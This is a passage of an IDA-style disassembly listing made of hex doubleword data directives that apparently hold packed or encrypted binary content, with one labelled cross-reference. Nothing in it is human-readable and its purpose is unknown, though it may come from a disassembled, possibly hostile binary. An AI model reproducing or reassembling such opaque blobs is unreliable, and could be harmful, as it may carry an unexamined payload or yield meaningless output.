		dd 7228E192h, 0FCAE691Fh, 33453FB3h, 0B8CF02F8h, 1B68B7Fh
		dd 8D3F12C8h, 0EF6B9852h, 0F8E193BCh, 7F8F6A3Bh, 5E87D4A8h
		dd 3746DFABh, 6CB81144h, 1BF9A077h, 0F7B0D831h,	0CA7CE74h
		dd 8B3A1F04h, 0E97B9F52h, 5FD317F1h, 0CA50893Ah, 40141741h
		dd 2F3CFC31h, 0D6AA8E7Ch, 0FC695C85h, 0E4A313Bh, 380204C4h
		dd 51F93245h, 0DB8E4B7Ch, 523279F1h, 5321726h, 0BB1D416h
		dd 95271AD0h, 3632B05Ah, 42776AD0h, 5AB68585h, 0E1A4CD9Eh
		dd 0E5793CF4h, 0FC698DB6h, 0C8BB603Bh, 416AEE62h, 3BFC6918h
		dd 0E7D23EEDh, 8CA01AD5h, 3662A5E9h, 0FC7EB9C3h, 0E632F599h
		dd 0B2DBBE32h, 19D11B75h, 60600B2Fh, 37321957h,	3D91E8C4h
		dd 0A6190856h, 0D1C8A37Ah, 0D87E9209h, 6A7h, 0C7B36C1Fh
		dd 4F3BF482h, 0CBBF780Ah, 5604C5F6h, 0D08A4D73h, 17B923D7h
		dd 9C2366D4h, 1DAAEF5Bh, 69137624h, 8357FCAEh, 0F8DFAFD8h
		dd 939B863Bh, 86A4A2A6h, 0FA67A4D5h, 1332593Ch,	3C488D0h
		dd 36D67BD0h, 1DDDCEDAh, 23975078h, 0C1F7DAEEh,	3DB75306h
		dd 0E9944B3Dh, 4C4FD1D7h, 360A5199h, 59321669h,	568D76B2h
		dd 709409D6h, 636DEh, 2FB8E00h,	8A457548h, 0EC9FDD0h, 9354795Ch
		dd 19D2E227h, 289446A1h, 92F7A364h, 1D702AE3h, 82C7B36Ch
		dd 0C64D3DF6h, 0E03E6734h, 6A173BF8h, 0A4A2A61Ch, 67F5D586h
		dd 0B3583CFAh, 6DA6D2B7h, 0F73058BDh, 0EFD99153h, 7EBC2971h
		dd 0D813A584h, 0A316C932h, 8ABD487h, 99823214h,	1259DD51h
		dd 46DF10E9h, 9485CFBCh, 0D00BBDE4h, 12B8DD1Dh,	8AC635D5h
		dd 76B1DB3Eh, 0EC5A1ED4h, 78A1CA4Eh, 4D46DF11h,	0B5E6725Eh
		dd 3CFBFFB5h, 59922558h, 0A447BAE6h
		dd 5AFE14B4h, 59AA4h, 0A69F2A00h, 2EE991F4h, 0B275197Ch
		dd 37F085F8h, 0BD7E0E43h, 0B430A2CDh, 3E13C700h, 0B99C4E8Fh
		dd 2E63D710h, 5AE9A19Ah, 0DFA2CB90h, 9E7B3BF8h,	0C8034988h
		dd 44FD8E42h, 0ED158BE4h, 8C4B7358h, 0E8236940h, 58383032h
		dd 9E757237h, 0ED4CB8BCh, 0B8E3473Ah, 3CFC4064h, 0B1FA600Bh
		dd 3BFBFE84h, 740578FAh, 60AC9FBBh, 863F09D5h, 8A4D9579h
		dd 32h,	0C2054B2Eh, 0A2A69696h,	25D586A4h, 83CFC94h, 0E63E763h
		dd 4F50BC7Dh, 3BFC9222h, 0D2E79A58h, 4B843415h,	5E6AF401h
		dd 4D95C9A1h, 0C9ABh, 23A8DB00h, 76D312C0h, 8AEF2993h
		dd 0A00505FEh, 5A3FDB1Ch, 0EC23752Eh, 44B8D16h,	0A4D4C951h
		dd 0B06CBF6Bh, 3F46DF41h, 3ECB854Ch, 0E01B4E8Fh, 5166A37Dh
		dd 2F5DBC98h, 0B9C306F4h, 0F099FC7Eh, 0B73DDD37h, 119555B3h
		dd 77934C7Ch, 587FA8F3h, 0A55646DFh, 0FA2348F2h, 0D346DF57h
		dd 97BBEC28h, 763CFC6Bh, 5B1FD585h, 0D1E4DEDh, 303217D1h
		dd 6AF02B5Dh, 8873B7E1h, 7EB9CFA2h, 8735A88Ch, 6729004Ch
		dd 0BE7F78A4h, 86BA09D7h, 466E0h, 72ABDE00h, 0FA3545B8h
		dd 7EB9CD00h, 0C304498Ch, 49823217h, 78649691h,	0E2279354h
		dd 6DA01AD3h, 0D237E35Ch, 96BD6DA6h, 0DE6E97C4h, 5A473BF8h
		dd 0C407494Ch, 4E893316h, 0A2A68C9Ch, 590286A4h, 46DFAB30h
		dd 3E3A1605h, 0FC94BD6Dh, 4B7D903Ch, 0CE818A90h, 88C81F6Ch
		dd 678DB4C3h, 719E0D2Dh, 0EF3BFC48h, 7BA4F74Bh,	523BFC48h
		dd 0CD66FA9h, 8EB1701Bh, 0F5FE30FCh, 5CF789Bh, 0C8C54D95h
		dd 0B1000000h, 62C80349h, 9DBD7A0Fh, 0E05B6DAEh, 9F2184B4h
		dd 0A2D5BCCAh, 0D094B669h, 0DFAB628Bh, 9D503B46h, 0E98C002Ah
		dd 0E71063A4h, 0BE46DFAAh, 445783CDh, 46DFAA88h, 91498236h
		dd 37D30CBCh, 0EF4BBDBDh, 0FCBB98BCh, 0D684773Ch, 40EA5C1Ch
		dd 826BFCCh, 27C248E9h,	6FCABAEDh, 0FEAD3217h, 0B477197Ch
		dd 0ACFD83C6h, 4E3DDD1Ah, 4C13A4DEh, 2E0CFFC5h,	0D8BC547Dh
		dd 8F422946h, 0D80B5255h, 9B3DD109h, 35Fh, 0BF6BA4D7h
		dd 7F32C5Ah, 8377B0C2h,	0EFC3D4Eh, 884285CBh, 4F716B9Fh
		dd 0D4FBDE8Ch, 5562A713h, 0A1EB2E9Ch, 0DB9FB466h, 0F8DD6790h
		dd 4B433E3Bh, 23520749h, 98FB996Ah, 0D487D60Ah,	2454A961h
		dd 49EF3FEBh, 6F42C803h, 28E25Dh, 0E7E2E9EFh, 2CF12A6Eh
		dd 0DE9A64B0h, 590CCDFEh, 0E0ECA91h, 3C513CFCh,	2307518Eh
		dd 0D335C0Fh, 610A3BFCh, 0D6992D9h, 4F3C3BFCh, 7207589Ch
		dd 0C59FC757h, 74270305h, 8E25BF20h, 1A9E5C4Fh,	0A9BF2851h
		dd 0C20EFDA2h, 5295216h, 7F99C92h, 0E2E660ACh, 0D795C664h
		dd 0B698C4E2h, 7F0065C5h, 0BA759ECDh, 0A348980Bh, 23E4ABF0h
		dd 70F8D427h, 0C6B46F1Dh, 0C23EF983h, 0B8A50DD9h, 90F29448h
		dd 24000002h, 0ABEE5C95h, 137624E3h, 9FF2A86Fh,	187D2DEAh
		dd 0A8C7B374h, 0FD3E4E3Ah, 4485C80Dh, 0CD0AB396h, 5790381Dh
		dd 0C1EA60E3h, 3BF8DC98h, 497AB06Dh, 0C3ECBF03h, 9A46DFAAh
		dd 561C3EF1h, 32B6B492h, 6AF02F5Fh, 0AB658EE1h,	533846DFh
		dd 52AAF179h, 0D53CFC8Eh, 4ECC0DB0h, 0E49793FDh, 0EFF70636h
		dd 8EDD1DEBh, 321970D2h, 9750781Dh, 0BABE6DBDh,	51FA28E9h
		dd 0B2D8BD93h, 2A66D575h, 1CDE2820h, 6E51334Fh,	2D513A80h
		dd 5F2F44C9h, 47A68A42h, 801C0D14h, 0A3A75454h,	1BDF2921h
		dd 2F580387h, 69071B5h,	2AE83B15h, 61868C49h, 0AFDDB0BAh
		dd 39438674h, 778782FEh, 0DA7EC65Ch, 1CE24h, 9A536600h
		dd 62DDED20h, 0E62155A8h, 6BACD134h, 0F12A5ABFh, 80FCEE39h
		dd 0A4F3BFCh, 0F5C8827Bh, 7A5F0BC4h, 2E25954Eh,	0DAD6FFACh
		dd 0F2AF3BF8h, 0C80349B4h, 0BF780F62h, 2B2FA555h, 0A6E1DDDh
		dd 87400921h, 0F351A54h, 7A6635C5h, 0D53CFC05h,	14E10A51h
		dd 0C7B43BFCh, 84B6A614h, 0A4868078h, 18F93BF7h, 87A95232h
		dd 0EDF48BD4h, 0CA3C3C8Eh, 581F3B60h, 5D2E840Ah, 373B22F4h
		dd 0ABF07A31h, 94CE9082h, 4464B05Bh, 0CCFE9357h, 5B29C10Bh
		dd 0DA81A99Fh, 8AE9241Ch, 7DBECEA3h, 0A4E41713h, 60DFEFE6h
		dd 4566D2Dh, 0C7F4E951h, 570ACE0Ah, 0EA776A25h,	4AD009BCh
		dd 9E7A8EC1h, 9BFE7C2Fh, 251634F3h, 3A16D3E4h, 86410B4Eh
		dd 0C851B55Ah, 0D688ACC2h, 0F7h, 17C33C4Fh, 9F4B8432h
		dd 1BCF08BAh, 0E6549526h, 60DA1DA3h, 0A7E9D307h, 2C53B664h
		dd 0ADDA3FEBh, 39438674h, 73070CFEh, 0F8D9FF28h, 0E32BD63Bh
		dd 0ECBF0349h, 46DFAAC3h, 2249F19Ah, 46DFAAF9h,	0EE6CDFCCh
		dd 8740776Ah, 0AACFF8A3h, 0F5A646DFh, 0AF99519Bh, 0AA04E08Bh
		dd 265B3CFCh, 5259D495h, 0C3B02E4Ch, 47ED5D10h,	0F6A58583h
		dd 3216CBC9h, 7E53F7A4h, 5D9914Ah, 45095860h, 9485CF82h
		dd 72AFABE4h, 0D3C51E42h, 0BEB1FA60h, 0AEDBC241h, 8F3DCD91h
		dd 19A3E654h, 0C5B83CDEh, 6B1378B3h, 440960ACh,	310E8783h
		dd 0F42F5DADh, 0DDAE2206h, 9037BEF0h, 8FB8CB08h, 0B6DBC2A5h
		dd 0C2A4BCE5h, 90EA91DBh, 48A1EBh, 28AD43C7h, 2D000000h
		dd 771BB25Eh, 0C5F9C75h, 0DBC277E3h, 3D1ED1BAh,	22024E89h
		dd 0CBB034C8h, 4C754F32h, 0C7F00324h, 9E46DEADh, 4983A3EDh
		dd 6C41C902h, 267E35Ch,	3B9EBC75h, 0D2B75394h, 8CE169A2h
		dd 0A61B3FF8h, 5336D415h, 0F62E82Fh, 0B99A807Fh, 0A2C68h
		dd 241C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 8957240Ch, 4C781E7h,	81000000h, 4EFh, 243C8700h, 242C895Ch
		dd 0C65CBE56h, 0F1890AE6h, 8124348Bh, 4C4h, 75EE6800h
		dd 24890000h, 24048124h, 4, 0CB89535Dh,	8458F53h, 242C8B5Bh
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 57240C8Bh, 0C781E789h
		dd 4, 8704C783h, 0E95C243Ch, 0FFFCAD0Dh, 4DB4DC75h, 57A56F8Ch
		dd 22B8A14Eh, 30AE6D2h,	0D2E0FFC5h, 83040D85h, 72026CECh
		dd 0E8508190h, 12h, 0D5D89E2Dh,	3EC741BCh, 2300E76Fh, 3878B837h
		dd 890FDF61h, 3, 5EC1B70Fh, 0F57852BBh,	6EC6812Bh, 0E800005Eh
		dd 13h,	2933166h, 39EEED03h, 0D28F6F96h, 57095296h, 601A0642h
		dd 8C0FF5h, 61000000h, 1751685Fh, 8D0F0000h, 8,	0C9816660h
		dd 61F898CAh, 0F3816659h, 36FF0A4Ch, 5F91B052h,	81D98B5Ah
		dd 4FE623C2h, 0C3BF0F61h, 0D91BC281h, 39B75C16h, 5FF5EA81h
		dd 8B6658DEh, 12E852FAh, 0FC000000h, 38CD7180h,	0BE1AC69Ch
		dd 745FC61Bh, 22EA62EEh, 83C38067h, 0E9068F58h,	5, 9A109216h
		dd 3EE8397h, 7E9h, 0E9463A00h, 85D1327Ah, 38E0F4Eh, 66000000h
		dd 0E983DF8Bh, 2B850F01h, 0E8000000h, 10h, 0A4E1CD10h
		dd 0FBBF098Ah, 5679D7F8h, 2D996040h, 97C168B8h,	3FE95B68h
		dd 20000000h, 0D46B2314h, 0CC09F971h, 0F60AF12h, 1482h
		dd 0FE900h, 1DD10000h, 0AEA3B3D4h, 0F3B14738h, 0E2099767h
		dd 9EBF663Ah, 43E9611Ah, 70FFFFFFh, 0A6CB3AF9h,	7D91F5B3h
		dd 7E178DF9h, 48E97917h, 70000001h, 74000000h, 78000000h
		dd 7C000000h, 80000000h, 84000000h, 88000000h, 8C000000h
		dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h
		dd 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h
		dd 0F8000000h, 0FC000000h, 0
		dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
		dd 53000000h, 3005BF9h,	8D00B2C2h, 0E6D40185h, 3880F0Ah
		dd 0F000000h, 8589F1B7h, 0AE6D541h, 2C8D8589h, 85C60AE3h
		dd 0AE31CF1h, 9871B954h, 8C6822D1h, 668F8565h, 81E8EBBEh
		dd 29D2404h, 0B5895EDDh, 0AE32669h, 2F11B5FFh, 8DF80AE3h
		dd 0E6ACF385h, 0D9B58B0Ah, 0FF0AE301h, 0FD8589D0h, 890AE324h
		dd 0E6D54585h, 0C1B58B0Ah, 0E90AE32Ch, 7, 7BF6F05Fh, 0E9D391F3h
		dd 4Dh,	6830Fh,	0B5890000h, 0AE31405h, 41B58B56h, 890AE6D5h
		dd 41858306h, 40AE6D5h,	8D60C35Eh, 0E6D401B5h, 560FEB0Ah
		dd 36FF006Ah, 0D54595FFh, 835E0AE6h, 3E8304C6h,	61EC7500h
		dd 9E9C3h, 6C830000h, 8BC2ACD6h, 8B1AD1A1h, 0DC858DD0h
		dd 0BB0AE6D5h, 197E84ECh, 33B18589h, 39EB0AE3h,	0CB0000h
		dd 0CB02CCh, 0CB02E4h, 0
		dd 5113E2D6h, 600AEE16h, 341BE6C1h, 5910E223h, 581AA547h
		dd 60308B79h, 3432C7CEh, 4431FF0Bh, 5C2AE5C7h, 501FEE23h
		dd 894FEBA8h, 3E9D8381h, 34144BA1h, 347D6342h, 6B5E8B8Ah
		dd 48F7D486h, 70FF8F86h, 34678F75h, 63398BA8h, 9055B197h
		dd 0B51A90AEh, 16B24CCh, 5DC308CDh, 34746860h, 89FD82D7h
		dd 3E9D92DCh, 6467FFA8h, 8CBE0007h, 347E8F93h, 19EB0E9Ch
		dd 0A9F38169h, 3E9B5680h, 6C25585Dh, 2DF336D2h,	407E814Bh
		dd 8C2DDB43h, 347E8F93h, 19EB0E9Ch, 0A9F38169h,	3E9B51F1h
		dd 6C25585Dh, 0DC2E8B3Bh, 347E8BABh, 6CBDD374h,	305ACFA3h
		dd 305ACF94h, 347E8B9Fh, 0B1BDDB05h, 0B5EBA2E0h, 5E746844h
		dd 3796DDA8h, 147E8B54h, 0BD204874h, 0B57AAF61h, 207AAFCEh
		dd 727E8B45h, 0C19F48F4h, 34144BDAh, 347D63FFh,	6B5E8B54h
		dd 48F7D4E9h, 70FF8F31h, 34628FAEh, 63398B45h, 9C667E61h
		dd 27B0331Ch, 0C7F52EEBh, 288F0E92h, 1D2881C9h,	0D77E0EA8h
		dd 347A6380h, 8C2C8B45h, 0CDF5170Ah, 0E4F5ED01h, 305ACF23h
		dd 0F16E3532h, 0BF188BA1h, 103A02C3h, 0B518D38Eh, 1D2A1E92h
		dd 0D7566A27h, 25CB745Bh, 54746887h, 11070E55h,	0B51881C9h
		dd 551206F3h, 988D0E07h, 341481A3h, 347D63F3h, 6D5E8B51h
		dd 78F7D26Bh, 70FF8F70h, 34648F0Eh, 653F8B15h, 60C15749h
		dd 1DD0A99Eh, 169B3E89h, 0E48181B2h, 0DC2B8BC2h, 347E8B57h
		dd 69BDD60Ah, 305AE79Ch, 305ACF0Bh, 347E8B51h, 91BDDEE7h
		dd 0E3CC32EFh, 0BD7AE1DBh, 0D76F26C1h, 36FC8420h, 817E8B15h
		dd 0CB47E3C6h, 662EEAFCh, 347A0FADh, 8B188B51h,	5718CC7h
		dd 0BF18D904h, 524F84D2h, 6EDA6EABh, 0B526D1D2h, 0DB47AF71h
		dd 2096EA1Bh, 767E8B51h, 0EFFDFAB6h, 0E5AD9DF7h, 68B6CE7Eh
		dd 3D4B7E7Ah, 0BF5EAE5Ah, 0D77736D0h, 516D5A8h,	520DDE9Dh
		dd 0FF7B23h, 61B05670h,	637EE159h, 347E88FDh, 0F721AB8Ah
		dd 1002021Ah, 103A0AA6h, 347E9E55h, 0F729CCA8h,	3F964588h
		dd 47E8B2Ah, 1BD9286Fh,	765F877Bh, 0E7C40025h, 6A404B41h
		dd 34148B3Bh, 347D63FEh, 6A5E8B54h, 40F7D5E9h, 70FF8F31h
		dd 346A8FAEh, 62388B45h, 0A1F54A61h, 3E9D8A80h,	54AE7450h
		dd 65EF40D5h, 0BD1FAB40h, 0D2A89590h, 0D9E38A80h, 0BF74684Dh
		dd 36B28E5Ah, 0B1F78B51h, 3E985D8Ah, 0BD664BD7h, 0D2A8ADAFh
		dd 8DBEB81Fh, 347E8966h, 0A9F721B6h, 3E9D90B7h,	196316D8h
		dd 8D18814Bh, 0B1B8AF0Dh, 3E9D97DBh, 667EE156h,	347E8862h
		dd 0F724AB45h, 102A02F8h, 103A0A55h, 347E97ACh,	0F72CC954h
		dd 0C9482B0Ch, 0E8AAE39Fh, 7A900B6Fh, 27905C2Dh, 4DC1ED28h
		dd 104A0A2Ah, 220A0E21h, 0CB860032h, 0D7519A9Fh, 617EE11Fh
		dd 347E8862h, 0F723AB45h, 101202FFh, 103A0A55h,	347E9FACh
		dd 0F72BCE54h, 0C7FB0667h, 0CB746DB9h, 667EE15Ah, 347E88ADh
		dd 0F724ABA2h, 102A020Bh, 103A0AACh, 347E9D50h,	0F72CC92Ah
		dd 0BFDF5C85h, 0D7668237h, 0F5C3004Fh, 0BD7468A3h, 0D74F16D4h
		dd 346C62A2h, 4C898B54h, 0E5B2BD0Bh, 9FB4BA0Ah,	787B33D0h
		dd 863AE5F9h, 36DB0E2Fh, 89F781B2h, 3E9D95E1h, 20970EDDh
		dd 81C781C9h, 0F21A08D1h, 0D7627A0Fh, 3414D84Fh, 347D63F7h
		dd 695E8B51h, 58F7D66Bh, 70FF8F70h, 34668F0Eh, 613B8B15h
		dd 59649449h, 0B51829EBh, 5C94D760h, 835B115Eh,	347E0CA7h
		dd 30FF8B54h, 0BFD0420Eh, 617EE150h, 347E8862h,	0F723AB45h
		dd 101202FFh, 103A0A55h, 347E97ACh, 0F72BCE54h,	76BFF513h
		dd 947EE5D5h, 81F573CAh, 3E9DA488h, 1B6F3E5Dh, 0B98781B2h
		dd 0D2D2782Dh, 637EE15Eh, 347E88C2h, 0F721AB15h, 100202D5h
		dd 103A0A41h, 347E97A6h, 0F729CC51h, 0A81999FCh, 43A5ECB3h
		dd 25C3A243h, 0CB74680Bh, 667EE15Ah, 347E88ADh,	0F724ABA2h
		dd 102A020Bh, 103A0AACh, 347E9F50h, 0F72CC92Ah,	3471631Eh
		dd 11858B8Ah, 4C0F2EBCh, 7FBB8C29h, 0E30A9DDBh,	0D9C300FDh
		dd 6E746857h, 28AF0EA3h, 0CC8781F6h, 288F0E4Ch,	5E2D81A6h
		dd 3796DAA2h, 147E8B51h, 0BD2748F1h, 0B57AAF18h, 207AAF6Eh
		dd 757E8B15h, 0DD3B48DBh, 347E8B48h, 74F21B09h,	0E3B7A357h
		dd 0E462E878h, 347A63AAh, 0F0CD8B2Ah, 0CFC7530Dh, 6411DD3Eh
		dd 571D915h, 347862C2h,	78E78B51h, 0CA9620D8h, 0BF26D135h
		dd 0DC7AAF6Eh, 347E8B05h, 0A75EB48h, 72AF3E0Eh,	509B8D4h
		dd 0FAA75383h, 6AA900CEh, 70F78BDFh, 0BF268F0Eh, 0D74F9298h
		dd 25CB7480h, 5E74686Ah, 3796DBA2h, 147E8B51h, 0BD2648F0h
		dd 0B57AAF10h, 217AAF6Eh, 747E8B15h, 5E5D48DAh,	1B3716CCh
		dd 0B14F8141h, 3E9DA674h, 314316A9h, 0B1F381B7h, 3E9827D9h
		dd 0DC298B7Fh, 347E8B89h, 6BBDD465h, 305AF72Bh,	305ACFD0h
		dd 347E8BBDh, 0C8BDDC13h, 37FF8462h, 527E8B15h,	0E4817C01h
dword_5C005C	dd 60BC0A23h, 11E3026Ch, 0BD746841h, 0D74D9E2Dh, 0A8890A5Eh
					; DATA XREF: ___:off_444E94o
		dd 0F2279001h, 0D7627A90h, 0DC87CC80h, 347E8B41h, 83A0560Bh
		dd 0C7F5ED31h, 347B03A7h, 6CC68B54h, 556BDEC3h,	103A0045h
		dd 527E008Eh, 0BD2AA9FAh, 8E7AAFE6h, 1D6E4B03h,	647EE1F0h
		dd 347E88BCh, 0F726AB2Ah, 103A024Dh, 103A0A8Eh,	347E9D41h
		dd 0F72ECBA2h, 0BF97F914h, 0D7650E15h, 25CB745Eh, 5E746805h
		dd 3796DB15h, 147E8B8Ah, 0BD26481Dh, 0B57AAFE6h, 237AAF15h
		dd 747E8BA8h, 0C5864804h, 0B1F3D02Dh, 3E9827E6h, 20130EA3h
		dd 89F781A6h, 3E9D835Bh, 33975BAEh, 0B77E8BA8h,	0FF3DEF6h
		dd 0B1F71272h, 3E9D90DCh, 34770585h, 0CC1E8B45h, 347E0DADh
		dd 0F21F8B51h, 0D7627A2Dh, 0FAF5CC5Eh, 347C0425h, 0CFC88B15h
		dd 0D97C6BE2h, 104A0A90h, 604F9938h, 0DC298B3Bh, 347E8BABh
		dd 6BBDD474h, 305AF7A3h, 305ACF94h, 347E8B90h, 0DABDDC02h
		dd 22D464D6h, 0A14D6B05h, 3E9DBE81h, 488296EDh,	25CB747Eh
		dd 5E74683Ah, 3796D88Ah, 147E8B45h, 0BD2548F9h,	0B57AAF0Dh
		dd 2D7AAFECh, 777E8B54h, 0FDA74879h, 44EEB483h,	2BE70603h
		dd 89F581A6h, 3E9DAEBFh, 988D0EDCh, 0B871814Eh,	347E8B52h
		dd 40F3629h, 0E48181F6h, 0DC298BE0h, 347E8B46h,	6BBDD482h
		dd 305AF7D8h, 305ACF29h, 347E8B42h, 9BDDC6Dh, 0A1F58CD4h
		dd 3E9D90D7h, 0B1F75BCEh, 3E9DAED3h, 11D73ED8h,	0B1B8814Bh
		dd 3E9D97A5h, 647EE16Dh, 347E88FDh, 0F726AB8Ah,	103A021Dh
		dd 103A0AA6h, 347E9355h, 0F72ECBA8h, 596D4BA9h,	65E7E367h
		dd 0B9715A5Ah, 347E8B8Ah, 0F05ABFC4h, 5E0509CFh, 3796D951h
		dd 147E8BA8h, 0BD24480Eh, 0B57AAF7Eh, 227AAF51h, 767E8B8Ah
		dd 0F88D4817h, 25CB745Eh, 5E74687Eh, 3796DCA8h,	147E8B54h
		dd 0BD214875h, 0B57AAF69h, 237AAFCEh, 737E8B45h, 0D31D48F5h
		dd 3A97FD25h, 2D7E8BA8h, 7227492Eh, 0B3F4E964h,	50DFFFCDh
		dd 0C7FB0679h, 5E746DE9h, 3796DAA2h, 147E8B51h,	0BD2748F1h
		dd 0B57AAF18h, 237AAF6Eh, 757E8B15h, 1B848DBh, 0A1F5A959h
		dd 3E9DA2BBh, 0C4F55BAEh, 321F0E21h, 341481B7h,	347D6378h
		dd 6E5E8B15h, 60F7D149h, 70FF8F61h, 34668F86h, 663C8B51h
		dd 887C296Bh, 0BF2F5310h, 0D75C2A9Fh, 0E481D11Fh, 0E5FB0276h
		dd 5E746860h, 3796DDA2h, 147E8B51h, 0BD2048F6h,	0B57AAF20h
		dd 237AAF6Eh, 727E8B15h, 23E548DCh, 8B714B89h, 0ECF2ED54h
		dd 0DC2D8B3Bh, 347E8BABh, 6FBDD074h, 305AD7A3h,	305ACF94h
		dd 347E8B9Eh, 8BBDD806h, 34148F86h, 347D6307h, 6A5E8BA8h
		dd 40F7D597h, 70FF8F0Eh, 34678F31h, 62388B8Ah, 7DB64386h
		dd 8EA441C4h, 62946A84h, 0B0714BA2h, 347E8816h,	95C300D2h
		dd 0F2746814h, 0D7627A0Fh, 3D97C44Fh, 0BA7E8BA2h, 0CEC2536Eh
		dd 0CFBF22EEh, 509D3A3Ch, 347263B1h, 19478B15h,	153F1B8h
		dd 13D2FAF4h, 652F7543h, 0B520D40Bh, 0BB0BAF9Ch, 6A2CAFB0h
		dd 1B6F3ED5h, 341481F6h, 347D63D8h, 6E5E8B45h, 60F7D161h
		dd 70FF8F75h, 34648F8Ch, 663C8B54h, 0FF777E9h, 9C409D11h
		dd 988D0E07h, 815781A3h, 3E9D828Bh, 0B5185BAEh,	0B751944Ah
		dd 3197AF94h, 0D57E8B2Ah, 0CC4B51C4h, 2E3B0E03h, 341481A6h
		dd 347D63F7h, 695E8B51h, 58F7D66Bh, 70FF8F70h, 34688F0Eh
		dd 613B8B15h, 32D57D49h, 0EA10A23h, 346A63EBh, 0E7208B51h
		dd 5F641EF1h, 0D624FE39h, 0A64CD47h, 5AD837D1h,	0B518E884h
		dd 6D905692h, 11AF0E29h, 341481B2h, 347D63F9h, 6D5E8B54h
		dd 78F7D2E9h, 70FF8F31h, 34698FAEh, 653F8B45h, 80B4EB61h
		dd 89F5D892h, 3E9DBAE1h, 0BF87000Ah, 0D778EAB7h, 8B3D771Fh
		dd 2EB6D681h, 21D30ECCh, 2FF58141h, 0DC2C8B3Bh,	347E8BABh
		dd 6EBDD174h, 305ADFA3h, 305ACF94h, 347E8B93h, 7BBDD907h
		dd 46900F2Bh, 346A6315h, 918D8BA8h, 0D07B6B47h,	94BABh
		dd 0C2EE1EBAh, 81A9DF51h, 0C7F5C400h, 2DEB00FDh, 0BF746862h
		dd 9B0F31B3h, 2FF5DD88h, 194336A1h, 0EC4D81F6h,	0DC2E8BE0h
		dd 347E8B46h, 6CBDD382h, 305ACFD8h, 305ACF29h, 347E8B42h
		dd 0C0BDDB6Ah, 89F73211h, 3E9DAA4Fh, 71E302B0h,	3B7468BCh
		dd 347E8BDAh, 346A63A8h, 44C68B54h, 0B94C15ADh,	49229DF7h
		dd 0F648E9Ch, 0C720E47Ah, 0BF188528h, 0B1B8D49Fh, 3E9D9759h
		dd 657EE113h, 347E88C2h, 0F727AB15h, 103202D3h,	103A0A41h
		dd 347E92A6h, 0F72FCA51h, 0A32DF03Eh, 817F0A51h, 3E9DA71Bh
		dd 3096679Fh, 9D7E8B8Ah, 8BC95598h, 49FC6302h, 0B171D901h
		dd 347E8BB0h, 347E98BDh, 66AE8B2Ah, 0DCAC6AA6h,	0A1B5415h
		dd 49DAC9B8h, 0DA1250CCh, 103A000Fh, 34FD84ACh,	0BF7E8B54h
		dd 38F8842Ah, 3B7E8B15h, 347E8D0Ch, 34FC8445h, 0BD7E8BA2h
		dd 3B7AAF15h, 347E8224h, 98CCEB54h, 194AF294h, 0BF26EA2Eh
		dd 0D7635A07h, 0E1BF0A4Fh, 0CB64B40Dh, 0D7519AE4h, 9EB02A2h
		dd 0B974684Bh, 0D2D278AFh, 627EE11Fh, 347E8862h, 0F720AB45h
		dd 100A02FCh, 103A0A55h, 347E9EACh, 0F728CD54h,	81F53FD1h
		dd 3E9DA45Ch, 0B4715B75h, 347E8B43h, 1673689h, 0B1F781B2h
		dd 3E9D9061h, 27770E5Dh, 5E3E81C9h, 3796DA15h, 147E8B8Ah
		dd 0BD27481Ch, 0B57AAFEEh, 2D7AAF15h, 757E8BA8h, 0DEBD4805h
		dd 32534E33h, 3B1E8B9Eh, 347E8E0Bh, 0E6FFED45h,	0B5185E8Ah
		dd 552E66BBh, 34148B23h, 347D6303h, 6B5E8B2Ah, 48F7D4D6h
		dd 70FF8FAEh, 34688F61h, 63398BA2h, 0B0DEAF92h,	20870E21h
		dd 0B1F781B7h, 3E9D820Bh, 347E85FCh, 0BBE9068Ah, 9DEF84Fh
		dd 8162FDBBh, 0DD8C03ADh, 347E8B40h, 0DC2E8B3Eh, 347E8B29h
		dd 6CBDD335h, 305ACF03h, 305ACFC4h, 347E8BB9h, 18BDDB11h
		dd 90361DC0h, 525F7E97h, 0B1F35DA1h, 3E985D51h,	648600ECh
		dd 0AB6D3123h, 5E5A8F2Bh, 3796DB51h, 147E8BA8h,	0BD26480Ch
		dd 0B57AAF6Eh, 207AAF51h, 747E8B8Ah, 0B5B64815h, 132B7350h
		dd 81EB7458h, 0BF7468B9h, 0D75206C1h, 7EE30620h, 8E746DC3h
		dd 54C79451h, 40733515h, 28F79D1Ch, 627EE175h, 347E8840h
		dd 0F720AB54h, 100A0274h, 103A0A11h, 347E9C8Eh,	0F728CD45h
		dd 0D20B0AD1h, 442C5CD0h, 3B2EF48Bh, 347E80DFh,	522CDB2Ah
		dd 571589Eh, 6C244501h,	0CB5A8FCCh, 0D75FB237h,	7DA90A5Bh
		dd 0BD635DA6h, 0D764CED1h, 0B571EB20h, 347E8B0Dh, 347E9863h
		dd 15502045h, 5069882Eh, 235E2448h, 0E2BE1193h,	44128ECCh
		dd 55A73425h, 288F0ED3h, 5E2D8169h, 3796D945h, 147E8BA2h
		dd 0BD24480Bh, 0B57AAFFCh, 2D7AAF10h, 767E8B2Ah, 0E5364847h
		dd 0A05D64E9h, 0BFF7372Dh, 8A18D8E4h, 0B527D0A5h, 0CEBDAFACh
		dd 3414E8AFh, 347D6379h, 6F5E8B15h, 68F7D049h, 70FF8F61h
		dd 34638F86h, 673D8B51h, 64C2856Bh, 1250DDBBh, 0DD2711E0h
		dd 347E8B05h, 0D586DE75h, 0D8D66A2Ch, 5458FF35h, 9219875Eh
		dd 1B6F3E57h, 0B1F381B7h, 3E9827D9h, 0CBA85D95h, 0B1F77E5Ah
		dd 3E9D9534h, 0DC298BC8h, 347E8B52h, 6BBDD488h,	305AF7DDh
		dd 305ACFABh, 347E8B02h, 71BDDCCDh, 54D33A9Ch, 0B9754829h
		dd 3E9D96D4h, 468034C9h, 0B1B8F5CDh, 3E9D97DBh,	617EE152h
		dd 347E8862h, 0F723AB45h, 101202FFh, 103A0A55h,	347E91ACh
		dd 0F72BCE54h, 0F35EB44Ch, 0DD65CB42h, 347E8B84h, 7DE45151h
		dd 0FBC8BEA2h, 3EEA3C19h, 0B37193E2h, 347E8B51h, 5EAF0A4Ch
		dd 0F3B9E3DAh, 0BF18B2FDh
		dd 107A0A8Eh, 5384C66Bh, 0DC2C8B3Bh, 347E8BABh,	6EBDD174h
		dd 305ADFA3h, 305ACF94h, 347E8B93h, 9CBDD907h, 0C0C489CAh
